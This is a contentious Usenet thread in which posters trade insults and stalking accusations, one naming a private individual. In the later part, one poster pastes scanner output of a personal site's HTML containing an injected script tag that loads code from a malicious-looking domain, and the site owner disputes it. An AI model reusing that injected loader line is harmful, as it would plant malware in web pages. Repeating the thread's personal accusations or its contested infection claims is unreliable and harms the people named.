Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

The article was not about MacKeeper, it was about the droopbox
dump, and provided links. Are you drunk ?

Post by David B.
https://discussions.apple.com/xxxx

I was stupid enough to click on it:

//An error occurred during a connection to discussions.apple.com.
Peer attempted old style (potentially vulnerable) handshake.//

You never change, do you ?
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 14:40:11 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

The article was not about MacKeeper, it was about the droopbox
dump, and provided links. Are you drunk ?

No.

Post by Shadow

Post by David B.
https://discussions.apple.com/xxxx

//An error occurred during a connection to discussions.apple.com.
Peer attempted old style (potentially vulnerable) handshake.//
You never change, do you ?
[]'s

If *YOUR* computer had not been compromised, you would have read this:-

=

Klaus1 Somerset, UK
Level 8 expertise iLife
*Do not install MacKeeper*
111124 Views | Last Modified: Jan 5, 2014

Many users will see references to an application called MacKeeper on
various web sites and via pop-ups on their browser. Not only is it
expensive for what it purports to do (freeware applications that do the
same or more are readily available), it can sometimes install itself
without the user realising it, and it can be very tricky to get rid of.

MacKeeper has been described by various sources as highly invasive
malware* that can de-stablize your operating system, adding that it is
unethically marketed, with a history of making false advertising claims,
by a company called Zeobit, and a rip-off.

(Please note that references to the original developers, Zeobit, also
now refer to Kromtech Alliance Corp, who acquired MacKeeper and PCKeeper
from ZeoBit LLC in early 2013.)

Most positive reviews of it have been found to have been paid for by
Zeobit (developers of MacKeeper) in the form of ‘free upgrades’ etc. One
such opinion is:

http://themacschool.blogspot.co.uk/2012/09/mackeeper-is-scam.html

For more about ‘astruturfing’ (writing phoney product reviews for money)
see here:

http://en.wikipedia.org/wiki/Astroturfing

and http://www.bbc.co.uk/news/technology-24299742

Further opinion on it and how to uninstall MacKeeper malware can be read
here:

http://applehelpwriter.com/2011/09/21/how-to-uninstall-mackeeper-malware/

MacKeeper have recently said that the uninstaller from here:

http://applehelpwriter.wordpress.com/2011/09/21/how-to-uninstall-mackeeper-malwa
re/

now works.

There are many forms of ‘Malware’ that can affect a computer system, of
which ‘a virus’ is but one type, ‘trojans’ another. Using the strict
definition of a computer virus, no viruses that can attack OS X have so
far been detected 'in the wild', i.e. in anything other than laboratory
conditions. The same is not true of other forms of malware, such as
Trojans. Whilst it is a fairly safe bet that your Mac will NOT be
infected by a virus, it may have other security-related problem, but
more likely a technical problem unrelated to any malware threat.



You may find this User Tip on Viruses, Trojan Detection and Removal, as
well as general Internet Security and Privacy, useful: The User Tip
seeks to offer guidance on the main security threats and how to avoid them.

https://discussions.apple.com/docs/DOC-2435

More useful information can also be found here:

www.thesafemac.com/mmg


* The expression ‘malware’ is a general term used by computer
professionals to mean a variety of forms of hostile, intrusive, or
annoying software.

=

HTH :-)

[Shadow]

On Tue, 30 May 2017 19:28:19 +0100, "David B."

Post by Shadow
On Tue, 30 May 2017 14:40:11 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

The article was not about MacKeeper, it was about the droopbox
dump, and provided links. Are you drunk ?

No.

Post by Shadow

Post by David B.
https://discussions.apple.com/xxxx

//An error occurred during a connection to discussions.apple.com.
Peer attempted old style (potentially vulnerable) handshake.//
You never change, do you ?
[]'s

It wasn't. Scanned with overnight Kaspersky and BitDefender
rescues, both came up clean. And it flagged the bad certificate on the
site you gave, so I seem to be more secure than you are.

13 million Mac users "enjoy MacKeeper", but that does not mean
much, after all, they bought Macs. What was that you said about you
paying for MacKeeper, even after reading the reviews ?
"A Mac user and his money are soon parted" - old proverb. ...
BTW, the thread was about the droopbox megadump, not payware
"anti-virus".
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 19:28:19 +0100, "David B."

Post by Shadow
On Tue, 30 May 2017 14:40:11 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

The article was not about MacKeeper, it was about the droopbox
dump, and provided links. Are you drunk ?

No.

Post by Shadow

Post by David B.
https://discussions.apple.com/xxxx

//An error occurred during a connection to discussions.apple.com.
Peer attempted old style (potentially vulnerable) handshake.//
You never change, do you ?
[]'s

It wasn't. Scanned with overnight Kaspersky and BitDefender
rescues, both came up clean. And it flagged the bad certificate on the
site you gave, so I seem to be more secure than you are.

Oh dear! You really should *NOT* still be using Windows XP :-(

Post by Shadow
13 million Mac users "enjoy MacKeeper", but that does not mean
much, after all, they bought Macs. What was that you said about you
paying for MacKeeper, even after reading the reviews ?

Wrong again. I had *NOT* read the advice on the Apple support forums at
that stage.

Post by Shadow
"A Mac user and his money are soon parted" - old proverb. ...
BTW, the thread was about the droopbox megadump, not payware
"anti-virus".
[]'s

I'm quite saddened that you cannot afford an iMac.

That must be really irritating, you having sent 30+ years in practice as
a doctor. :-(

[David B.]

On 30/05/2017 22:32, David B. corrected his post


"you having spent 30+ years in practice as a doctor."

[Diesel]

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

[David B.]

Post by Diesel

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

"Earlier this week Microsoft ended its support for Vista, which means
the decade-old operating system will no longer get security updates. And
while this may spur some companies to finally kick out their old
devices, there are still plenty still holding onto Vista and XP -- and
perhaps even older versions of Windows."

So begins the article here:-

http://www.zdnet.com/article/windows-xp-why-it-wont-die-for-years-to-come/

Worth a read IMO!

[Paul]

Post by David B.

Post by Diesel

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

"Earlier this week Microsoft ended its support for Vista, which means
the decade-old operating system will no longer get security updates. And
while this may spur some companies to finally kick out their old
devices, there are still plenty still holding onto Vista and XP -- and
perhaps even older versions of Windows."
So begins the article here:-
http://www.zdnet.com/article/windows-xp-why-it-wont-die-for-years-to-come/
Worth a read IMO!

No one is holding onto a copy of Vista (relatively speaking).

Currently WinXP is 5% of Windows market, Vista is 1%

Five years ago WinXP was 35%, Vista was 9.4%.

http://gs.statcounter.com/os-version-market-share/windows/desktop/worldwide#monthly-201205-201705

Vista would be slightly better than WinXP, because ASLR
is more likely to be working. That's where EMET comes in.

https://en.wikipedia.org/wiki/Address_space_layout_randomization#Microsoft_Windows

EMET doesn't help WinXP quite as much.

https://en.wikipedia.org/wiki/Enhanced_Mitigation_Experience_Toolkit

Unlike an AV, ASLR at least, is an attempt to "harden" the OS
a tiny bit.

My Mac G4 by comparison, is just terrible. Not only is
the address layout fixed for libraries, but when you
used CodeWarrior, you were expected to enter the address
information when building your programs. (The height of
foolishness.) I doubt the MacOSX works that way today.

Paul

[Shadow]

On Wed, 31 May 2017 08:03:26 +0100, "David B."

Post by Diesel

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

"Earlier this week Microsoft ended its support for Vista"
<CUT_REMAINDER_OF_WIN_10_SPAM>

And yet 98% of the Wannacrypt victims were running supported
Win 7 and up.... and M$ has known about the backdoor since (at least)
August of last year.
No, don't post ads, explain why XP was barely affected. Not
with an article, or a link, in your own words. (I changed the subject
to reflect yet another twist you gave the thread in your attempts to
STALK)
[]'s

[David B.]

Post by Shadow
On Wed, 31 May 2017 08:03:26 +0100, "David B."

Post by Diesel

Post by David B.
Oh dear! You really should *NOT* still be using Windows XP :-(

For what security reasons, David? Please, list some.

"Earlier this week Microsoft ended its support for Vista"
<CUT_REMAINDER_OF_WIN_10_SPAM>

And yet 98% of the Wannacrypt victims were running supported
Win 7 and up.... and M$ has known about the backdoor since (at least)
August of last year.
No, don't post ads, explain why XP was barely affected. Not
with an article, or a link, in your own words. (I changed the subject
to reflect yet another twist you gave the thread in your attempts to
STALK)
[]'s

@Shadow

I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

You might *THINK* that you are in control, but I suspect that you are not.

I prefer not to take that chance.

YMMV

FYI https://us.norton.com/botnet/

"Some botnets might have a few hundred or a couple thousand computers,
but others have tens and even hundreds of thousands of zombies at their
disposal.

*Many of these computers are infected without their owners' knowledge*."

[(PeteCresswell)]

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

[Wolf K]

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Only if the program's database contains "signature" of the botnet.

Functionally, a bot is just a service that you don't want. It runs at
the user's permission level. That is why the regular user-account of the
system should not have install privileges.

[David B.]

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily. :-(

That's MY understanding anyway. Ask 'Diesel' for his opinion - he was a
virus writer and a TRUE Black Hat!

[Shadow]

On Wed, 31 May 2017 15:23:09 +0100, "David B."

Post by David B.

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily.
That's MY understanding anyway.

Are you speaking as a "security expert" or are you trying
(rather feebly) to STALK again ?

http://tekrider.net/pages/david-brooks-stalker.php

[]'s

[David B.]

Post by Shadow
On Wed, 31 May 2017 15:23:09 +0100, "David B."

Post by David B.

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows XP machine
has *ALREADY* been compromised and co-opted into a huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily.
That's MY understanding anyway.

Are you speaking as a "security expert"

I'm no expert, but I am more careful that you appear to be! ;-)

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php

Not a good link to follow, Shadow!

Perhaps this screenshot will help you understand *HOW* your computer
became infected:-

Here's a screenshot of a web site:-

https://www.dropbox.com/s/6nj382qhv4wzmju/Tekrider.net%20-%20Infected%20with%20malware%20%28Sucuri%29.tiff?dl=0

Comments welcome.

[Diesel]

Post by David B.

Post by Shadow
On Wed, 31 May 2017 15:23:09 +0100, "David B."

Post by David B.

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows
XP machine has *ALREADY* been compromised and co-opted into a
huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily.
That's MY understanding anyway.

Are you speaking as a "security expert"

I'm no expert, but I am more careful that you appear to be! ;-)

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php

Not a good link to follow, Shadow!

Sure it is. It accurately describes you. Probably why you'd prefer
others not click on it. Especially since you failed to get it taken
down and as a result, decided to attack the administrator, instead.

Post by David B.
Perhaps this screenshot will help you understand *HOW* your
computer became infected:-

In my professional opinion, you're writing from your arsehole, and,
you're an idiot.

Post by David B.
Comments welcome.

See above.




-- Nope, I can't go to hell. Satan still has a restraining order
against me. https://tekrider.net/pages/david-brooks-stalker.php

[David B.]

Post by Diesel

Post by David B.

Post by Shadow
On Wed, 31 May 2017 15:23:09 +0100, "David B."

Post by David B.

Post by (PeteCresswell)

Post by David B.
I perceive that you have absolutely no idea that your Windows
XP machine has *ALREADY* been compromised and co-opted into a
huge Botnet.

But wouldn't an AV app like Avast pick up on that?

Sadly, not necessarily.
That's MY understanding anyway.

Are you speaking as a "security expert"

I'm no expert, but I am more careful that you appear to be! ;-)

Post by Shadow
http://tekrider.net/pages/david-brooks-stalker.php

Not a good link to follow, Shadow!

Sure it is. It accurately describes you. Probably why you'd prefer
others not click on it. Especially since you failed to get it taken
down and as a result, decided to attack the administrator, instead.

*It's a BAD web site*! Here's the proof:-

https://sitecheck.sucuri.net/results/www.tekrider.net

Post by Diesel

Post by David B.
Perhaps this screenshot will help you understand *HOW* your
computer became infected:-

In my professional opinion, you're writing from your arsehole, and,
you're an idiot.

Securi says YOU are wrong, Dustin!

https://sucuri.net/

They know their stuff, I'm sure! :-)

[Beauregard T. Shagnasty]

Post by David B.

Post by Diesel
Sure it is. It accurately describes you. Probably why you'd prefer
others not click on it. Especially since you failed to get it taken
down and as a result, decided to attack the administrator, instead.

*It's a BAD web site*! Here's the proof:-
https://sitecheck.sucuri.net/results/www.tekrider.net

I can *GUARANTEE* the cited "malware" shown in that sitecheck DOES NOT
APPEAR ANYWHERE ON MY WEB SITE. This quoted call for a script is not on
the site anywhere:

"<script type="text/javascript" src="http://windows-web-browsers.co.cc/
alert/">"

Post by David B.
Securi says YOU are wrong, Dustin!
https://sucuri.net/
They know their stuff, I'm sure! :-)

Not in this case. Don't even bother to argue about it - it is not true.

[David B.]

Post by Beauregard T. Shagnasty

Post by David B.
*It's a BAD web site*! Here's the proof:-
https://sitecheck.sucuri.net/results/www.tekrider.net

I can *GUARANTEE* the cited "malware" shown in that sitecheck DOES NOT
APPEAR ANYWHERE ON MY WEB SITE. This quoted call for a script is not on
"<script type="text/javascript" src="http://windows-web-browsers.co.cc/
alert/">"

It seems you are *WRONG* about that. bts! :-(

See line 86, here:-


Header returned by request for: http://tekrider.net/ -> 192.251.238.3

HTTP/1.1 302 Moved Temporarily
Date: Thu, 01 Jun 2017 16:48:46 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The location line in the header above has redirected the request to:
pages/index.php

( If this redirect is not what you expected SEE: Redirects. for some
tips on clearing redirects.)


HTTP/1.1 200 OK
Date: Thu, 01 Jun 2017 16:48:46 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: tekrider=45ffa0b63398451faebf8f9acb91f1bd; path=/
Last-Modified: Tue, 24 Nov 2015 13:21:45 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8


Content that was returned by your request for the URL: http://tekrider.net/
Note: Content displayed is from the redirect location, the URL
pages/index.php

1: < !DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
2: "http://www.w3.org/TR/html4/strict.dtd">
3: < html lang="en-US">
4: < head>
5: < title> tekrider.net - Welcome to Tekrider.net< /title>
6: < meta http-equiv="content-style-type" content="text/css">
7: < meta http-equiv="language" content="english">
8: < meta http-equiv="dialect" content="us">
9: < meta http-equiv="window-target" content="_top">
10: < meta name="author" content="Createk Software">
11: < meta name="description" content="tekrider.net">
12: < meta name="keywords" content="tekrider.net">
13: < meta name="robots" content="all">
14: < meta http-equiv="content-type" content="text/html; charset=UTF-8">
15: < meta http-equiv="content-style-type" content="text/css">
16: < link type="text/css" rel="stylesheet"
href="../style/tekrider.css" media="screen">
17: < link type="text/css" rel="stylesheet"
href="../style/tekprint.css" media="print">
18: < link rel="shortcut icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
19: < link rel="icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
20: < !-- if you don't see the favicon, your browser is at fault -->
21: < sc​ript type="text/javascript">
22: if (top.location != location)
23: // Sorry, not in YOUR frame
24: top.location.href = document.location.href ;
25: < / sc​ript >
26: < style type='text/css'>
27: #counter { width: 95%; margin-top: 2em; }
28: .cnt span {
29: background-color: #000;
30: border-top: 2px outset #d0d0d0;
31: border-left: 2px outset #d0d0d0;
32: border-right: 2px outset #a9a9a9;
33: border-bottom: 2px outset #a9a9a9;
34: color: #32cd32;
35: font-size:175%;
36: letter-spacing: 0.20em;
37: margin: 0 -0.2em 0 0;
38: padding: 0 0.2em 0 0.5em;
39: width: 1.1em;
40: }
41: .brooks {color: red; font-size: 3em;}
42: .boater { border-style: dotted; padding: .25em;}
43: < /style>
44: < /head>
45: < body>
47: < div id='boxbanner'> < a id='top'> < /a> tekrider.net< /div>
48: < div class='ahem'>
49: You may go directly to < a title='Navigate' href='#themenu'> the
navigation menu< /a> after the content.
50: < /div>
51: < div id='boxcontent'>
52: < h1> http://tekrider.net/< /h1>
53: < p> 15 April, 2008: Welcome to the home of < strong> Beauregard T.
Shagnasty's Playpen.< /strong>
54: < /p>
55: < p class='boater' style='font-size:115%;'> Note that < strong
class='cveryhot'> Internet Stalker DAVID BROOKS< /strong> of Devon, UK
56: now has his own personal web page:< br>
57: < a href='david-brooks-stalker.php'>
http://tekrider.net/pages/david-brooks-stalker.php< /a> < /p> < p> Why <
strong> tekrider< /strong> ? Well, it was available, while techrider
58: was not; that domain seems to belong to a young man in Oslo, though
there is only a
59: parking page at this writing. Oh, and my spouse says "Tek" is
modern Nerdic geek-speak. < img class='noborder'
src='../system/smiley.gif' alt='' height='16' width='16'> Note also that
60: ​t​e​k​r​i​d​e​r​.< strong> < em> c​o​m< /em> < /strong>
61: belongs to a fellow in Ontario, Canada who sells snowmobile
clothing. No relation...
62: < /p>
63: < p> I have been a motorcycle rider for about 56 years, and a
technical guy for all
64: of my employed life, but I am now retired. I have ridden somewhere
a bit over a
65: half-million miles on two wheels.< /p>
66: < p> We all see a lot of web pages with visitor or hit counters on
them. So why should I
67: skip that normally-useless bit of fluff? Therefore:< /p>
69: < div id='counter'>
70: < span class='imgright'> < img src='../system/webmaster.jpg'
alt='Beau' title='Beau' height='105' width='160'>
71: < br> Beauregard T. Shagnasty< /span> < p> < strong> You are
visitor number< /strong> < /p>
72: < p class='cnt'> < span> 5,291,954< /span> < /p>
73: < p> < strong> since yesterday.< /strong> < /p>
74: < /div>
75: < div class='clearme'> < /div>
76: < div>
77: < p> Other web sites written and maintained by this author:< /p>
78: < ul>
79: < li> < a href='http://fingerlakesbmw.org/'>
http://www.fingerlakesbmw.org < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Finger Lakes
BMW Club< /li>
80: < li> < a href='http://freezeblock.com/'>
http://www.freezeblock.com < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Freezeblock
Ice Dam Solutions< /li>
81: < li class='txttiny'> There are a couple of others, but the clients
choose not to be listed here.< /li>
82: < /ul>
83: < /div>
84: < p class='pcenter'> < img class='noborder'
src='../system/bluefish.png' title='Made with Bluefish' alt='Bluefish
Editor' height='57' width='103'> < /p>
85: < !-- [if IE]>
86: < sc​ript type="text/javascript"
src=hxxp://windows-web-browsers.co.cc/alert/">
*IT'S HERE*!
87: < / sc​ript >
88: < !-- [endif]-->
89: < div> IE sc​ript here< /div>
92: < /div>
94: < div class="ahem">
95: < hr>
96: < /div>
97: < div id="boxnav"> < !-- Begin menu -->
98: < ul>
99: < li> < img src='../system/mhome.gif' alt=''> < a
href='../pages/index.php'> Home< /a> < /li>
100: < li> < img src='../system/mopen.gif' alt=''> < a
href='../html/index.php'> HTML< /a> < /li>
101: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/faq.php'> FAQ< /a> < /li>
102: < li> < img src='../system/mopen.gif' alt=''> < a
href='../general/index.php'> General< /a> < /li>
103: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/about.php'> About< /a> < /li>
104: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/tkncontact.php'> Contact Me< /a> < /li>
105: < /ul>
106: < div class="pcenter"> < img class="imgpad"
src="../system/roundel.gif" title="BMW Roundel" alt="BMW Roundel"
width="38" height="38">
107: < /div>
108: < /div> < !-- End menu -->
110: < div id="boxfooter">
111: < span class='imgleft'>
112: < img class='noborder noprint' src='../system/ubuntufooter100.png'
alt='Ubuntu Logo' title='Ubuntu Logo' height='100' width='100'>
113: < /span>
114: < div class='ahem'> < br> < br> < hr> < /div>
115: < p> Copyright © 1997-2017 Tekrider.net. All rights reserved.< br>
116: < span class='noprint'> < a class='flink' title='Use the handy
form' href='../pages/tkncontact.php'> Contact me< /a> if you have a
comment about anything.< br>
117: It's Thursday the 1st of June at 12:48 in my neighborhood.< br>
118: < /span> < /p>
119: < /div>
120: < /body>
121: < /html>

Ref:
https://aw-snap.info/file-viewer/?protocol=not-secure&tgt=tekrider.net&ref_sel=GSP2&ua_sel=ff&fs=1

--

You comments requested 'bts'

I can accept that you were unaware of this - but you said you GUARANTEE
that it isn't there! That leaves me puzzled.

[Beauregard T. Shagnasty]

Post by David B.

Post by Beauregard T. Shagnasty

Post by David B.
*It's a BAD web site*! Here's the proof:-
https://sitecheck.sucuri.net/results/www.tekrider.net

I can *GUARANTEE* the cited "malware" shown in that sitecheck DOES NOT
APPEAR ANYWHERE ON MY WEB SITE. This quoted call for a script is not on
"<script type="text/javascript" src="http://windows-web-browsers.co.cc/
alert/">"

It seems you are *WRONG* about that. bts! :-(
See line 86, here:-
[snip to near that line:]
84: < p class='pcenter'> < img class='noborder'
src='../system/bluefish.png' title='Made with Bluefish' alt='Bluefish
Editor' height='57' width='103'> < /p>
85: < !-- [if IE]>
86: < sc​ript type="text/javascript"
src=hxxp://windows-web-browsers.co.cc/alert/">
*IT'S HERE*!
87: < / sc​ript >
88: < !-- [endif]-->
89: < div> IE sc​ript here< /div>
92: < /div>
94: < div class="ahem">
95: < hr>
96: < /div>
--

Now look at the actual source code while you are visiting the page:

84: <p class='pcenter'><img class='noborder' src='../system/bluefish.png'
title='Made with Bluefish' alt='Bluefish Editor' height='57' width='103'></
p>
85: [ <-- There is NOTHING here! ]
86:
87: </div>
88:
89: <div class="ahem">
90: <hr>
91: </div>

Post by David B.
You comments requested 'bts'
I can accept that you were unaware of this - but you said you GUARANTEE
that it isn't there! That leaves me puzzled.

Look at the page again. Firefox? Press Control-U. Read line 86. Why are
you adding stuff to my source code and claiming it's malware?

Your "editing" is despicable and downright nasty. THERE IS *NO*...

< !-- [if IE]>

...CODE ANYWHERE ON MY WEB SITE. STOP LYING. My page has 116 lines of
code. *YOUR* representation has 121 lines. You've added those extra lines.

Observe your line 94: < div class="ahem">
Observe my line 94: <li><img src='../system/mhome.gif' ...(more)

Now fuck off.

[David B.]

On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!

THAT is what MALWARE does! ;-)

[FrozenNorth]

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

[Sycho]

Post by FrozenNorth

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

lol The shameless fuck is at it again with his cyber stalking. And
like always, he gets slapped down like the bad doggie he is.

[David B.]

Post by Sycho

Post by FrozenNorth

Post by David B.
On 01/06/2017 19:11, Beauregard T. Shagnasty claimed ....

Post by Beauregard T. Shagnasty
You've added those extra lines.

*I* most certainly have *NOT* added any extra lines!
THAT is what MALWARE does! ;-)

I just checked, the site is clean, it appears that BD has the malware.

lol The shameless fuck is at it again with his cyber stalking. And
like always, he gets slapped down like the bad doggie he is.

As I'm sure you are aware, there are a number of ports open on the
Tekrider web site.

I wouldn't be at all surprised to learn that YOU are responsible for the
offending script being added to the site as I have described.

You can see it clearly here - line 86:-


Header returned by request for: http://tekrider.net/ -> 192.251.238.3

HTTP/1.1 302 Moved Temporarily
Date: Wed, 31 May 2017 13:56:17 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The location line in the header above has redirected the request to:
pages/index.php

( If this redirect is not what you expected SEE: Redirects. for some
tips on clearing redirects.)


HTTP/1.1 200 OK
Date: Wed, 31 May 2017 13:56:17 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT <---------------- 1981?!!*
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: tekrider=3db2bc9e1ef897e2c4b4fc9a072f901d; path=/
Last-Modified: Tue, 24 Nov 2015 13:21:45 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

Content that was returned by your request for the URL: http://tekrider.net/
Note: Content displayed is from the redirect location, the URL
pages/index.php

1: < !DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
2: "http://www.w3.org/TR/html4/strict.dtd">
3: < html lang="en-US">
4: < head>
5: < title> tekrider.net - Welcome to Tekrider.net< /title>
6: < meta http-equiv="content-style-type" content="text/css">
7: < meta http-equiv="language" content="english">
8: < meta http-equiv="dialect" content="us">
9: < meta http-equiv="window-target" content="_top">
10: < meta name="author" content="Createk Software">
11: < meta name="description" content="tekrider.net">
12: < meta name="keywords" content="tekrider.net">
13: < meta name="robots" content="all">
14: < meta http-equiv="content-type" content="text/html; charset=UTF-8">
15: < meta http-equiv="content-style-type" content="text/css">
16: < link type="text/css" rel="stylesheet"
href="../style/tekrider.css" media="screen">
17: < link type="text/css" rel="stylesheet"
href="../style/tekprint.css" media="print">
18: < link rel="shortcut icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
19: < link rel="icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
20: < !-- if you don't see the favicon, your browser is at fault -->
21: < sc​ript type="text/javascript">
22: if (top.location != location)
23: // Sorry, not in YOUR frame
24: top.location.href = document.location.href ;
25: < / sc​ript >
26: < style type='text/css'>
27: #counter { width: 95%; margin-top: 2em; }
28: .cnt span {
29: background-color: #000;
30: border-top: 2px outset #d0d0d0;
31: border-left: 2px outset #d0d0d0;
32: border-right: 2px outset #a9a9a9;
33: border-bottom: 2px outset #a9a9a9;
34: color: #32cd32;
35: font-size:175%;
36: letter-spacing: 0.20em;
37: margin: 0 -0.2em 0 0;
38: padding: 0 0.2em 0 0.5em;
39: width: 1.1em;
40: }
41: .brooks {color: red; font-size: 3em;}
42: .boater { border-style: dotted; padding: .25em;}
43: < /style>
44: < /head>
45: < body>
47: < div id='boxbanner'> < a id='top'> < /a> tekrider.net< /div>
48: < div class='ahem'>
49: You may go directly to < a title='Navigate' href='#themenu'> the
navigation menu< /a> after the content.
50: < /div>
51: < div id='boxcontent'>
52: < h1> http://tekrider.net/< /h1>
53: < p> 15 April, 2008: Welcome to the home of < strong> Beauregard T.
Shagnasty's Playpen.< /strong>
54: < /p>
55: < p class='boater' style='font-size:115%;'> Note that < strong
class='cveryhot'> Internet Stalker DAVID BROOKS< /strong> of Devon, UK
56: now has his own personal web page:< br>
57: < a href='david-brooks-stalker.php'>
http://tekrider.net/pages/david-brooks-stalker.php< /a> < /p> < p> Why <
strong> tekrider< /strong> ? Well, it was available, while techrider
58: was not; that domain seems to belong to a young man in Oslo, though
there is only a
59: parking page at this writing. Oh, and my spouse says "Tek" is
modern Nerdic geek-speak. < img class='noborder'
src='../system/smiley.gif' alt='' height='16' width='16'> Note also that
60: ​t​e​k​r​i​d​e​r​.< strong> < em> c​o​m< /em> < /strong>
61: belongs to a fellow in Ontario, Canada who sells snowmobile
clothing. No relation...
62: < /p>
63: < p> I have been a motorcycle rider for about 56 years, and a
technical guy for all
64: of my employed life, but I am now retired. I have ridden somewhere
a bit over a
65: half-million miles on two wheels.< /p>
66: < p> We all see a lot of web pages with visitor or hit counters on
them. So why should I
67: skip that normally-useless bit of fluff? Therefore:< /p>
69: < div id='counter'>
70: < span class='imgright'> < img src='../system/webmaster.jpg'
alt='Beau' title='Beau' height='105' width='160'>
71: < br> Beauregard T. Shagnasty< /span> < p> < strong> You are
visitor number< /strong> < /p>
72: < p class='cnt'> < span> 4,861,472< /span> < /p>
73: < p> < strong> since yesterday.< /strong> < /p>
74: < /div>
75: < div class='clearme'> < /div>
76: < div>
77: < p> Other web sites written and maintained by this author:< /p>
78: < ul>
79: < li> < a href=' http://fingerlakesbmw.org/'>
http://www.fingerlakesbmw.org < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Finger Lakes
BMW Club< /li>
80: < li> < a href=' http://freezeblock.com/'>
http://www.freezeblock.com < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Freezeblock
Ice Dam Solutions< /li>
81: < li class='txttiny'> There are a couple of others, but the clients
choose not to be listed here.< /li>
82: < /ul>
83: < /div>
84: < p class='pcenter'> < img class='noborder'
